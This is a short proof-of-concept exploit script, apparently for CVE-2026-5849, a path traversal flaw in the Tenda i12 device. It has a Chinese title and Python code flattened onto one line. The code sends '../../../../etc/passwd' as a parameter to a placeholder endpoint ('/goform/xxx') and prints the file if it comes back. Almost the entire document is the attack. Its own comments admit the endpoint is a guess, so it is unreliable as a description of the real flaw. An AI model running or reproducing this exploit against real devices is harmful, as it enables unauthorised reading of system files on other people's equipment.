CVE-2026-5849 Tenda i12 路径遍历漏洞

import requests def exploit(target_ip): # Target URL based on the vulnerability details # Note: The specific endpoint might vary based on the firmware analysis url = f"http://{target_ip}/goform/xxx" # Placeholder endpoint # Malicious payload to traverse directories payload = { "file": "../../../../etc/passwd" } try: print(f"[+] Sending payload to {target_ip}...") response = requests.get(url, params=payload, timeout=10) # Check if the payload successfully retrieved the file if response.status_code == 200 and "root:" in response.text: print("[!] Exploit successful! Sensitive data found:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit(target)